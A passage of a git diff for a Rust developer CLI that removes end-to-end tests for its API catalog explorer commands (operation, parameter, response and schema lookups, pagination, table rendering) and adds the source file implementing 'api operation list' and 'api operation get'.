covers that rendering - /// path directly, since every other test here only exercises - /// `--output json`. Human error rendering is `Error: {message}` / - /// `Fix: {fix}` (`cli_engine::output::human::render_human_with_view`). - #[tokio::test] - async fn operation_get_multiple_fuzzy_matches_human_output_shows_message_and_candidates() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "/location", - "--output", - "human", - ]) - .await; - assert_ne!(output.exit_code, 0, "{}", output.rendered); - assert!( - output.rendered.contains("'/location' matches 2 operations"), - "{}", - output.rendered - ); - assert!( - output.rendered.contains("/location/address-verifications"), - "{}", - output.rendered - ); - assert!( - output.rendered.contains("/location/addresses"), - "{}", - output.rendered - ); - } - - /// Many catalog paths are shared by several endpoints that only differ - /// by method (here: `GET /businesses` and `POST /businesses`) — without - /// `--method`, exact-match resolution must treat that the same as an - /// ambiguous fuzzy match, not silently pick whichever one it saw first. - #[tokio::test] - async fn operation_get_exact_path_shared_by_multiple_methods_is_ambiguous() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "/businesses", - "--output", - "json", - ]) - .await; - assert_ne!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["error"]["code"], json!("AMBIGUOUS_MATCH")); - // Candidates sharing one path are only distinguishable by method, so - // the fix must spell out both. - let fix = rendered["fix"].as_str().expect("fix present"); - assert!(fix.contains("--method GET"), "{fix}"); - assert!(fix.contains("--method POST"), "{fix}"); - } - - /// The same ambiguity, resolved by adding `--method`. - #[tokio::test] - async fn operation_get_exact_path_shared_by_multiple_methods_resolves_with_method_flag() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "/businesses", - "--method", - "POST", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"]["operationId"], json!("createBusiness")); - } - - /// A concrete path with a real ID substituted for a `{param}` segment - /// must resolve via template matching, same as `api call` already does - /// via `find_endpoint`/`path_matches_template`. - #[tokio::test] - async fn operation_get_concrete_path_resolves_via_template_matching() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "/businesses/abc123", - "--method", - "GET", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"]["operationId"], json!("getBusinessById")); - } - - #[tokio::test] - async fn operation_get_zero_matches_is_an_error() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "totally-fake-endpoint-xyz", - "--output", - "json", - ]) - .await; - assert_ne!(output.exit_code, 0, "{}", output.rendered); - assert!( - output.rendered.contains("no operation found matching"), - "{}", - output.rendered - ); - } - - /// Regression: `.with_view(...)` covered `parameters.items` but had no - /// `responses.items` column at all, so `responses` — present in the - /// JSON the whole time — silently never rendered in `--output human`, - /// with no error or missing-column notice to say so. - #[tokio::test] - async fn operation_get_human_output_shows_a_responses_table() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "createShipment", - "--output", - "human", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - assert!( - output.rendered.contains("Responses:"), - "{}", - output.rendered - ); - assert!(output.rendered.contains("STATUS"), "{}", output.rendered); - assert!(output.rendered.contains("200"), "{}", output.rendered); - } - - /// Most catalog request bodies are a bare `$ref` with no inline - /// `properties` (63/82 in the embedded catalog) — `createBusiness`'s is - /// `{"$ref": "#/$defs/Business"}`. Without $ref resolution this - /// summarizes to `null`; with it, the real fields show up. The request - /// body is folded into `parameters` as the synthetic `body` row. - #[tokio::test] - async fn operation_get_resolves_a_pure_ref_request_body_against_defs() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "createBusiness", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - let parameters = rendered["data"]["parameters"]["items"] - .as_array() - .expect("parameters items array"); - let body = parameters - .iter() - .find(|p| p["name"] == "body") - .expect("synthetic body row"); - let schema = body["schema"]["items"] - .as_array() - .expect("body.schema resolves to a property list, not null"); - let active_since = schema - .iter() - .find(|p| p["name"] == "activeSince") - .expect("activeSince property"); - assert_eq!(active_since["type"], json!("string(date-time)")); - assert_eq!(body["schemaId"], json!("Business")); - } - - /// `getChannels` has 6 parameters — under the preview cap, so its - /// `operation get` output isn't truncated and shouldn't link to the - /// standalone `parameter list`. - #[tokio::test] - async fn operation_get_does_not_link_to_parameter_list_when_untruncated() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "getChannels", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!( - rendered["data"]["parameters"]["pagination"]["total"], - json!(6) - ); - assert!( - !rendered["data"]["parameters"]["pagination"]["has_more"] - .as_bool() - .unwrap_or(true) - ); - let next_actions = rendered["next_actions"].as_array().expect("next_actions"); - assert!( - next_actions - .iter() - .any(|a| a["command"].as_str().unwrap_or("").contains("api call")), - "{}", - output.rendered - ); - assert!( - !next_actions.iter().any(|a| a["command"] - .as_str() - .unwrap_or("") - .contains("parameter list")), - "an untruncated preview should not link to the standalone list: {}", - output.rendered - ); - } - - /// `createShipment`'s synthetic `body` parameter has a `schemaId` - /// (`Shipment`, a `$ref`) — a caller needs to be told `api schema get` - /// exists at all to make use of it, or the id in the table is a dead - /// end. One generic hint covers every parameter/response with a - /// `schemaId`, rather than a same-command line repeated per row. - #[tokio::test] - async fn operation_get_links_to_schema_get_when_any_row_has_a_schema_id() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "createShipment", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - let next_actions = rendered["next_actions"].as_array().expect("next_actions"); - let hint = next_actions - .iter() - .find(|a| a["command"] == json!("gddy api schema get ")) - .expect("generic schema-get hint"); - assert!(hint["params"]["id"]["required"].as_bool().unwrap_or(false)); - assert!(hint["params"]["id"]["value"].is_null()); - } - - /// `deleteDNSRecord` has no schema anywhere (every parameter is a bare - /// scalar, and its one response is a bare `204` with no body) — the - /// schema-get hint must not appear when there's nothing for it to point - /// at. - #[tokio::test] - async fn operation_get_does_not_link_to_schema_get_when_no_row_has_a_schema_id() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "deleteDNSRecord", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - let next_actions = rendered["next_actions"].as_array().expect("next_actions"); - assert!( - !next_actions - .iter() - .any(|a| a["command"] == json!("gddy api schema get ")), - "{}", - output.rendered - ); - } - - /// `get_transaction_disputes` has 26 parameters — over the preview cap - /// — so its `operation get` output must be truncated and link to the - /// standalone `parameter list` for the rest, per the "list truncated → - /// standalone list command" convention. - #[tokio::test] - async fn operation_get_links_to_parameter_list_when_truncated() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "get_transaction_disputes", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - // `Summary`'s only field beyond `items` is `pagination` (a - // `PaginationMeta`) — the same shape cli-engine's own top-level - // pagination uses, so cli-engine 0.8.2 (DEVEX-985) can read it as a - // sibling of a nested column's array and render the same "(N of M - // rows, offset O, limit L)" footer a top-level paginated array gets. - assert_eq!( - rendered["data"]["parameters"]["pagination"]["total"], - json!(26) - ); - assert_eq!( - rendered["data"]["parameters"]["pagination"]["count"], - json!(20) - ); - assert_eq!( - rendered["data"]["parameters"]["pagination"]["limit"], - json!(20) - ); - assert_eq!( - rendered["data"]["parameters"]["pagination"]["has_more"], - json!(true) - ); - let next_actions = rendered["next_actions"].as_array().expect("next_actions"); - let link = next_actions - .iter() - .find(|a| { - a["command"] - .as_str() - .unwrap_or("") - .contains("parameter list") - }) - .expect("next_action linking to the standalone parameter list"); - assert_eq!( - link["params"]["operation"]["value"], - json!("get_transaction_disputes") - ); - } - - /// Same fixture as `operation_get_links_to_parameter_list_when_truncated`, - /// through human output: DEVEX-985 (cli-engine 0.8.2) lets a nested - /// table render a truncation footer at all, so this is the first time - /// `--output human` can show "not all rows are here" for `operation - /// get`'s embedded parameter preview, rather than a bare `(20 rows)` - /// with no hint that 6 more exist. - #[tokio::test] - async fn operation_get_human_output_shows_truncation_footer_for_parameters() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "get_transaction_disputes", - "--output", - "human", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - assert!( - output - .rendered - .contains("(20 of 26 rows, offset 0, limit 20)"), - "{}", - output.rendered - ); - } - - #[tokio::test] - async fn operation_get_graphql_endpoint_gets_summary() { - let output = operation_cli() - .run([ - "gddy", - "api", - "operation", - "get", - "postCatalogGraphql", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - let data = &rendered["data"]; - assert_eq!(data["graphql"]["operationCount"], json!(149)); - assert_eq!( - data["graphql"]["operations"] - .as_array() - .expect("operations array") - .len(), - 149 - ); - } - - // ----------------------------------------------------------------------- - // api parameter / api response / api schema - // ----------------------------------------------------------------------- - - /// `commerce.location.verify-address` has no real parameters, only a - /// request body — so its parameter list is exactly the synthetic `body` - /// row, folded in per DEVEX-967. - #[tokio::test] - async fn parameter_list_folds_in_the_synthetic_body_row() { - let output = operation_cli() - .run([ - "gddy", - "api", - "parameter", - "list", - "--operation", - "commerce.location.verify-address", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - let items = rendered["data"].as_array().expect("data array"); - assert_eq!(items.len(), 1); - assert_eq!(items[0]["name"], json!("body")); - assert_eq!(items[0]["in"], json!("body")); - assert_eq!(items[0]["required"], json!(true)); - } - - /// Regression: without a declared view, cli-engine's no-view human - /// renderer falls back to alphabetical column order for a bare array - /// (`dynamic_columns` in cli-engine's `output/human.rs`), which - /// scrambled this relative to `operation get`'s own `parameters.items` - /// nested view. `parameter_list_command` declares a matching - /// `.with_view(...)` specifically to avoid that. - #[tokio::test] - async fn parameter_list_human_output_uses_the_declared_column_order() { - let output = operation_cli() - .run([ - "gddy", - "api", - "parameter", - "list", - "--operation", - "createShipment", - "--output", - "human", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let header_line = output - .rendered - .lines() - .next() - .expect("at least a header line") - .trim_end(); - assert_eq!( - header_line, "NAME IN REQUIRED TYPE SCHEMA ID DESCRIPTION", - "{}", - output.rendered - ); - } - - /// Same regression, for `response_list_command`. `createShipment`'s rows - /// (long descriptions, a long dotted schema id) push the declared - /// `Description` column past the default terminal width, so it's the - /// lowest-priority column cli-engine drops to make everything else fit - /// — the header below is missing it for that reason, not because the - /// view only has three columns. Assert the drop is reported, so this - /// doesn't read as `Description` being absent from the view too. - #[tokio::test] - async fn response_list_human_output_uses_the_declared_column_order() { - let output = operation_cli() - .run([ - "gddy", - "api", - "response", - "list", - "--operation", - "createShipment", - "--output", - "human", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let header_line = output - .rendered - .lines() - .next() - .expect("at least a header line") - .trim_end(); - assert_eq!( - header_line, "STATUS TYPE SCHEMA ID", - "{}", - output.rendered - ); - assert!( - output - .rendered - .contains("hidden to fit the display width (Description)"), - "Description should be declared but dropped for width, not absent from the view: {}", - output.rendered - ); - } - - /// `--limit`/`--offset` here come from `CommandSpec::with_pagination` - /// (cli-engine 0.7.0's builder), and the resulting page + pagination - /// metadata + "next page" hint are entirely cli-engine 0.8's doing — - /// this command returns the full unsliced list and does none of that - /// itself. Exercises the whole pipeline end-to-end, not a unit in - /// isolation. - #[tokio::test] - async fn parameter_list_honors_engine_provided_limit_and_offset() { - let output = operation_cli() - .run([ - "gddy", - "api", - "parameter", - "list", - "--operation", - "get_transaction_disputes", - "--limit", - "5", - "--offset", - "20", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"].as_array().expect("data array").len(), 5); - let pagination = &rendered["pagination"]; - assert_eq!(pagination["total"], json!(26)); - assert_eq!(pagination["offset"], json!(20)); - assert_eq!(pagination["limit"], json!(5)); - assert_eq!(pagination["count"], json!(5)); - // 20 + 5 = 25 < 26, so one more remains. - assert_eq!(pagination["has_more"], json!(true)); - let next_actions = rendered["next_actions"].as_array().expect("next_actions"); - assert!( - next_actions - .iter() - .any(|a| a["command"].as_str().unwrap_or("").contains("--offset 25")), - "expected an auto-generated next-page hint: {}", - output.rendered - ); - } - - /// `--limit 0` means "all" per cli-engine's own generated help text for - /// `with_pagination` — must show every item, not zero. With both - /// `--limit`/`--offset` at their "disabled" value (0), cli-engine 0.8's - /// pipeline skips pagination entirely rather than reporting a page of - /// everything, so there's no `pagination` envelope field at all here. - #[tokio::test] - async fn parameter_list_limit_zero_means_all() { - let output = operation_cli() - .run([ - "gddy", - "api", - "parameter", - "list", - "--operation", - "get_transaction_disputes", - "--limit", - "0", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"].as_array().expect("data array").len(), 26); - assert!(rendered.get("pagination").is_none(), "{}", output.rendered); - } - - /// `max_limit` (`OPERATION_CHILD_LIST_MAX_LIMIT`) rejects an - /// out-of-range `--limit` at parse time, before the handler even runs. - #[tokio::test] - async fn parameter_list_limit_above_max_is_rejected() { - let output = operation_cli() - .run([ - "gddy", - "api", - "parameter", - "list", - "--operation", - "get_transaction_disputes", - "--limit", - "999", - "--output", - "json", - ]) - .await; - assert_ne!(output.exit_code, 0, "{}", output.rendered); - } - - #[tokio::test] - async fn parameter_get_resolves_the_synthetic_body_name() { - let output = operation_cli() - .run([ - "gddy", - "api", - "parameter", - "get", - "body", - "--operation", - "commerce.location.verify-address", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"]["name"], json!("body")); - assert_eq!(rendered["data"]["in"], json!("body")); - assert!(rendered["data"]["schema"]["items"].is_array()); - assert_eq!(rendered["data"]["type"], json!("object")); - let schema_id = rendered["data"]["schemaId"] - .as_str() - .expect("schemaId present whenever a schema exists"); - let next_actions = rendered["next_actions"].as_array().expect("next_actions"); - let link = next_actions - .iter() - .find(|a| a["command"].as_str().unwrap_or("").contains("schema get")) - .expect("schema next_action attached even though the preview isn't truncated"); - assert_eq!(link["params"]["id"]["value"], json!(schema_id)); - } - - /// `storeId` on `queryCarriers` has no `schema` at all — the id and its - /// "see full schema" next_action should both be absent, not present with - /// an empty/garbage value. - #[tokio::test] - async fn parameter_get_without_a_schema_has_no_schema_id_or_next_action() { - let output = operation_cli() - .run([ - "gddy", - "api", - "parameter", - "get", - "storeId", - "--operation", - "queryCarriers", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert!(rendered["data"]["schemaId"].is_null()); - assert!( - rendered["next_actions"] - .as_array() - .map(|a| a.is_empty()) - .unwrap_or(true), - "{}", - output.rendered - ); - } - - /// `pageSize` on `queryCarriers` has a bare inline scalar schema - /// (`{"type": "integer", "format": "int64", ...}`, no `properties`, no - /// `$ref`) — there's nothing to drill into, so it should surface `type` - /// directly rather than a `schemaId`/next_action pointing at a - /// `schema get` that would just echo the same type back. - #[tokio::test] - async fn parameter_get_scalar_schema_shows_type_instead_of_schema_id() { - let output = operation_cli() - .run([ - "gddy", - "api", - "parameter", - "get", - "pageSize", - "--operation", - "queryCarriers", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert!(rendered["data"]["schemaId"].is_null()); - assert_eq!(rendered["data"]["type"], json!("integer(int64)")); - assert!( - rendered["next_actions"] - .as_array() - .map(|a| a.is_empty()) - .unwrap_or(true), - "{}", - output.rendered - ); - } - - #[tokio::test] - async fn parameter_get_unknown_name_is_a_not_found_error() { - let output = operation_cli() - .run([ - "gddy", - "api", - "parameter", - "get", - "does-not-exist", - "--operation", - "commerce.location.verify-address", - "--output", - "json", - ]) - .await; - assert_ne!(output.exit_code, 0, "{}", output.rendered); - assert!(output.rendered.contains("not found"), "{}", output.rendered); - } - - /// `getChannels`'s `registeredStores.storeId` parameter has a literal - /// dot in its name — a real edge case for the schema-id grammar (see - /// `schema_id_round_trip_holds_across_the_real_catalog`), exercised here - /// end-to-end through the actual command. - #[tokio::test] - async fn parameter_get_handles_a_dotted_parameter_name() { - let output = operation_cli() - .run([ - "gddy", - "api", - "parameter", - "get", - "registeredStores.storeId", - "--operation", - "getChannels", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"]["name"], json!("registeredStores.storeId")); - } - - #[tokio::test] - async fn response_list_returns_every_status_sorted() { - let output = operation_cli() - .run([ - "gddy", - "api", - "response", - "list", - "--operation", - "patchBusiness", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - let items = rendered["data"].as_array().expect("data array"); - let statuses: Vec<&str> = items - .iter() - .map(|r| r["status"].as_str().expect("status")) - .collect(); - assert_eq!(statuses, vec!["200", "404", "default"]); - } - - #[tokio::test] - async fn response_get_returns_one_status_with_its_schema_preview() { - let output = operation_cli() - .run([ - "gddy", - "api", - "response", - "get", - "200", - "--operation", - "commerce.location.verify-address", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"]["status"], json!("200")); - let schema_items = rendered["data"]["schema"]["items"] - .as_array() - .expect("schema items array"); - let names: Vec<&str> = schema_items - .iter() - .map(|p| p["name"].as_str().expect("name")) - .collect(); - assert!(names.contains(&"status")); - assert!(names.contains(&"data")); - assert_eq!(rendered["data"]["type"], json!("object")); - let schema_id = rendered["data"]["schemaId"] - .as_str() - .expect("schemaId present whenever a schema exists"); - let next_actions = rendered["next_actions"].as_array().expect("next_actions"); - let link = next_actions - .iter() - .find(|a| a["command"].as_str().unwrap_or("").contains("schema get")) - .expect("schema next_action attached even though the preview isn't truncated"); - assert_eq!(link["params"]["id"]["value"], json!(schema_id)); - } - - #[tokio::test] - async fn response_get_unknown_status_is_a_not_found_error() { - let output = operation_cli() - .run([ - "gddy", - "api", - "response", - "get", - "599", - "--operation", - "commerce.location.verify-address", - "--output", - "json", - ]) - .await; - assert_ne!(output.exit_code, 0, "{}", output.rendered); - assert!(output.rendered.contains("not found"), "{}", output.rendered); - } - - /// A `$ref` schema's id is its bare `$defs` key — no operation scoping - /// needed to look it up. - #[tokio::test] - async fn schema_get_resolves_a_bare_defs_name() { - let output = operation_cli() - .run([ - "gddy", "api", "schema", "get", "address", "--output", "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"]["type"], json!("object")); - let properties = rendered["data"]["properties"] - .as_array() - .expect("properties array"); - assert!(properties.iter().any(|p| p["name"] == "addressDetails")); - } - - /// An inline response schema's id is a dotted path rooted at the - /// operationId — which, for this operation, itself contains dots, so - /// this also exercises the schema-id parser's keyword-scan (not a fixed - /// split position). - #[tokio::test] - async fn schema_get_resolves_an_inline_response_schema_by_dotted_id() { - let output = operation_cli() - .run([ - "gddy", - "api", - "schema", - "get", - "commerce.location.verify-address.responses.200.schema", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"]["type"], json!("object")); - let properties = rendered["data"]["properties"] - .as_array() - .expect("properties array"); - let names: Vec<&str> = properties - .iter() - .map(|p| p["name"].as_str().expect("name")) - .collect(); - assert!(names.contains(&"status")); - assert!(names.contains(&"data")); - } - - /// An inline request body's id is a dotted path too — `patchBusiness`'s - /// top-level schema is `{type: array, items: {$ref: ...}}`, inline at - /// the top level even though its items aren't. - #[tokio::test] - async fn schema_get_resolves_an_inline_request_body_schema_by_dotted_id() { - let output = operation_cli() - .run([ - "gddy", - "api", - "schema", - "get", - "patchBusiness.requestBody.schema", - "--output", - "json", - ]) - .await; - assert_eq!(output.exit_code, 0, "{}", output.rendered); - let rendered: serde_json::Value = - serde_json::from_str(&output.rendered).expect("valid json"); - assert_eq!(rendered["data"]["type"], json!("array")); - assert!(rendered["data"]["items"].is_object()); - } - - #[tokio::test] - async fn schema_get_unknown_id_is_a_not_found_error() { - let output = operation_cli() - .run([ - "gddy", - "api", - "schema", - "get", - "not-a-defs-name-and-not-a-dotted-id", - "--output", - "json", - ]) - .await; - assert_ne!(output.exit_code, 0, "{}", output.rendered); - assert!( - output.rendered.contains("no schema found for id"), - "{}", - output.rendered - ); - } -} diff --git a/rust/src/api_explorer/operation.rs b/rust/src/api_explorer/operation.rs new file mode 100644 index 0000000..288e768 --- /dev/null +++ b/rust/src/api_explorer/operation.rs @@ -0,0 +1,880 @@ +//! `api operation list` and `api operation get`. + +use cli_engine::{ + CommandResult, CommandSpec, NextActionParam, RuntimeCommandSpec, TableColumn, Tier, +}; +use serde_json::{Value, json}; + +use crate::next_action::{next_action, required_value}; +use crate::output_schema::output_schema; +use crate::summary::Summary; + +use super::catalog::catalog; +use super::catalog::resolve_operation; +use super::summary::{ + OPERATION_CHILD_LIST_DEFAULT_LIMIT, response_rows, summarize_graphql_schema, + summarize_parameters, +}; + +// `api operation list --domain X` lists endpoints within one domain, so each row +// omits the (redundant) domain field that the cross-domain `api search` emits. +output_schema!(ApiDomainEndpoint { + "operationId": "string"; + "method": "string"; + "path": "string"; + "summary": "string", optional; + "scopes": "[]string"; + "graphqlOperations": "number", optional; +}); + +output_schema!(ApiOperation { + "domain": "string"; + "baseUrl": "string"; + "operationId": "string"; + "method": "string"; + "path": "string"; + "fullPath": "string"; + "summary": "string", optional; + "description": "string", optional; + "parameters": "object"; + "responses": "object"; + "scopes": "[]string"; + "graphql": "object", optional; + "message": "string", optional; + "matches": "[]object", optional; +}); + +#[derive(Debug, Clone, clap::Args)] +struct OperationListArgs { + /// API domain whose endpoints to list (see `api domain list`). + #[arg(long, value_name = "DOMAIN")] + domain: String, +} + +pub(super) fn list_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed::( + CommandSpec::from_args::("list", "List operations within an API domain") + .with_long( + "Lists operations in one API domain. Use `api domain list` to \ + find available domain names, `api operation get ` \ + to view full details, and `api call ` to execute a request.", + ) + .with_system("api") + .with_tier(Tier::Read) + .no_auth(true) + .with_default_fields("operationId,method,path,summary") + .with_output_schema::(), + |_cred, args: OperationListArgs| async move { + let catalog = catalog(); + let domain_filter = args.domain.as_str(); + let domain = catalog + .iter() + .find(|d| d.name == domain_filter) + .ok_or_else(|| { + crate::error::GddyError::not_found(format!( + "domain '{domain_filter}' not found" + )) + .with_fix("Run: gddy api domain list") + .into_cli_error() + })?; + let endpoints: Vec = domain + .endpoints + .iter() + .map(|ep| { + json!({ + "operationId": ep.operation_id, + "method": ep.method, + "path": ep.path, + "summary": ep.summary, + "scopes": ep.scopes, + "graphqlOperations": ep.graphql.as_ref().map(|g| g.operation_count), + }) + }) + .collect(); + Ok(CommandResult::new(json!(endpoints)).with_next_actions(vec![ + next_action( + "api operation get ", + "Get full details for an operation", + ) + .with_param("operation", NextActionParam::required()), + ])) + }, + ) +} + +#[derive(Debug, Clone, clap::Args)] +struct OperationGetArgs { + /// Operation ID (e.g. createOrder) or path fragment (e.g. /v1/commerce/orders). + #[arg(value_name = "OPERATION")] + operation: String, + + /// Filter to a specific HTTP method (GET, POST, PUT, PATCH, DELETE). + #[arg(long, short = 'm', value_name = "METHOD")] + method: Option, +} + +pub(super) fn get_command() -> RuntimeCommandSpec { + RuntimeCommandSpec::new_typed_with_context::( + CommandSpec::from_args::( + "get", + "Show schema and parameters for an operation", + ) + .with_long( + "Shows the full details of one API operation: HTTP method, path, required and \ + optional parameters, request body schema, response shapes, and declared OAuth \ + scopes. Accepts an operation ID (e.g. createOrder) or a path fragment \ + (e.g. /v1/commerce/orders). No authentication is required.", + ) + .with_system("api") + .with_tier(Tier::Read) + .no_auth(true) + .with_output_schema::() + .with_view(vec![ + TableColumn::new("domain", "Domain"), + TableColumn::new("operationId", "Operation ID"), + TableColumn::new("method", "Method"), + TableColumn::new("path", "Path"), + TableColumn::new("summary", "Summary"), + TableColumn::new("parameters.items", "Parameters").nested(vec![ + TableColumn::new("name", "Name"), + TableColumn::new("in", "In"), + TableColumn::new("required", "Required"), + TableColumn::new("type", "Type"), + TableColumn::new("schemaId", "Schema ID"), + TableColumn::new("description", "Description"), + ]), + TableColumn::new("responses.items", "Responses").nested(vec![ + TableColumn::new("status", "Status"), + TableColumn::new("type", "Type"), + TableColumn::new("schemaId", "Schema ID"), + TableColumn::new("description", "Description"), + ]), + ]), + |ctx, args: OperationGetArgs| async move { + let query = args.operation.as_str(); + let method_filter = args.method.map(|m| m.to_uppercase()); + let catalog = catalog(); + + // Exact operationId/path/template match (optionally narrowed by + // --method) first; a miss falls back to fuzzy substring search, + // which ignores --method entirely (matches the original CLI). + // Either step can legitimately produce more than one candidate + // (e.g. GET/POST sharing a path with no --method given) — both + // are treated as the same kind of ambiguity. + let (domain, ep) = resolve_operation(catalog, query, method_filter.as_deref())?; + + // Env-aware base URL, matching `domain_list_command`/`call_command` + // — the catalog's `baseUrl` is a static, prod-shaped value; this + // resolves it against the active environment the same way an + // actual `api call` to this endpoint would. + let base_url = crate::environments::resolve_catalog_base_url( + &domain.name, + &domain.base_url, + &ctx.middleware.env, + ); + + // Summarized and capped, not inlined in full — a truncated + // preview here links to the standalone `parameter list`/ + // `response list` (which do their own, independent truncation) + // rather than dumping everything inline. + let param_summary = Summary::capped( + summarize_parameters(ep, &domain.defs), + OPERATION_CHILD_LIST_DEFAULT_LIMIT, + ); + let response_summary = Summary::capped( + response_rows(ep, &domain.defs), + OPERATION_CHILD_LIST_DEFAULT_LIMIT, + ); + + // Strip `base_url`'s scheme+host generically (not a hard-coded + // prod hostname) so `fullPath` stays a hostless path prefix + + // endpoint path consistently across every environment, not just + // prod — `resolve_catalog_base_url` rewrites the host per env + // (e.g. `api.ote-godaddy.com`), which a literal prod-host strip + // would silently leave un-stripped. + let full_path = { + let without_scheme = base_url + .split_once("://") + .map_or(base_url.as_str(), |(_, rest)| rest); + let path_prefix = without_scheme + .find('/') + .map_or("", |i| &without_scheme[i..]); + format!("{path_prefix}{}", ep.path) + }; + + let mut next_actions = vec![next_action( + format!("api call {} --method {}", ep.path, ep.method), + "Make an authenticated call to this endpoint", + )]; + next_actions.extend( + param_summary.next_action_if_truncated( + next_action( + "api parameter list --operation ", + "See all parameters", + ) + .with_param("operation", required_value(ep.operation_id.clone())), + ), + ); + next_actions.extend( + response_summary.next_action_if_truncated( + next_action( + "api response list --operation ", + "See all responses", + ) + .with_param("operation", required_value(ep.operation_id.clone())), + ), + ); + // A schema id shown in the table but not echoed anywhere in + // `next_actions` is a dead end unless the caller already knows + // `api schema get ` exists. One generic pointer to that + // command covers every parameter/response with a `schemaId` at + // once, rather than a same-command line repeated per row (most + // schema ids on one operation are typically shared, e.g. a + // common `Error` response schema across several status codes). + if param_summary + .items + .iter() + .any(|param| param.schema_id.is_some()) + || response_summary + .items + .iter() + .any(|resp| resp.schema_id.is_some()) + { + next_actions.push( + next_action( + "api schema get ", + "See a parameter's or response's full schema — use its Schema ID from the table above", + ) + .with_param("id", NextActionParam::required()), + ); + } + + Ok(CommandResult::new(json!({ + "domain": domain.name, + "baseUrl": base_url, + "operationId": ep.operation_id, + "method": ep.method, + "path": ep.path, + "fullPath": full_path, + "summary": ep.summary, + "description": ep.description, + "parameters": param_summary, + "responses": response_summary, + "scopes": ep.scopes, + "graphql": ep.graphql.as_ref().map(summarize_graphql_schema), + })) + .with_next_actions(next_actions)) + }, + ) +} + +#[cfg(test)] +mod tests { + use cli_engine::{Cli, CliConfig}; + use serde_json::json; + + /// `resolve_catalog_base_url` needs `ctx.middleware.env` to actually + /// resolve to `DEFAULT_ENV` ("prod") rather than an empty default, so + /// wire environments the same way `main.rs` does for the real CLI. + /// + /// Each command file with an end-to-end `Cli`-driven test defines this + /// same small fixture locally rather than sharing one across sibling + /// modules — it's a handful of lines, and keeps each file's test module + /// self-contained. + fn operation_cli() -> Cli { + Cli::new( + CliConfig::new("gddy", "GoDaddy developer CLI", "gddy") + .with_module(super::super::module()) + .with_environments(std::sync::Arc::clone(crate::environments::instance())), + ) + } + + #[tokio::test] + async 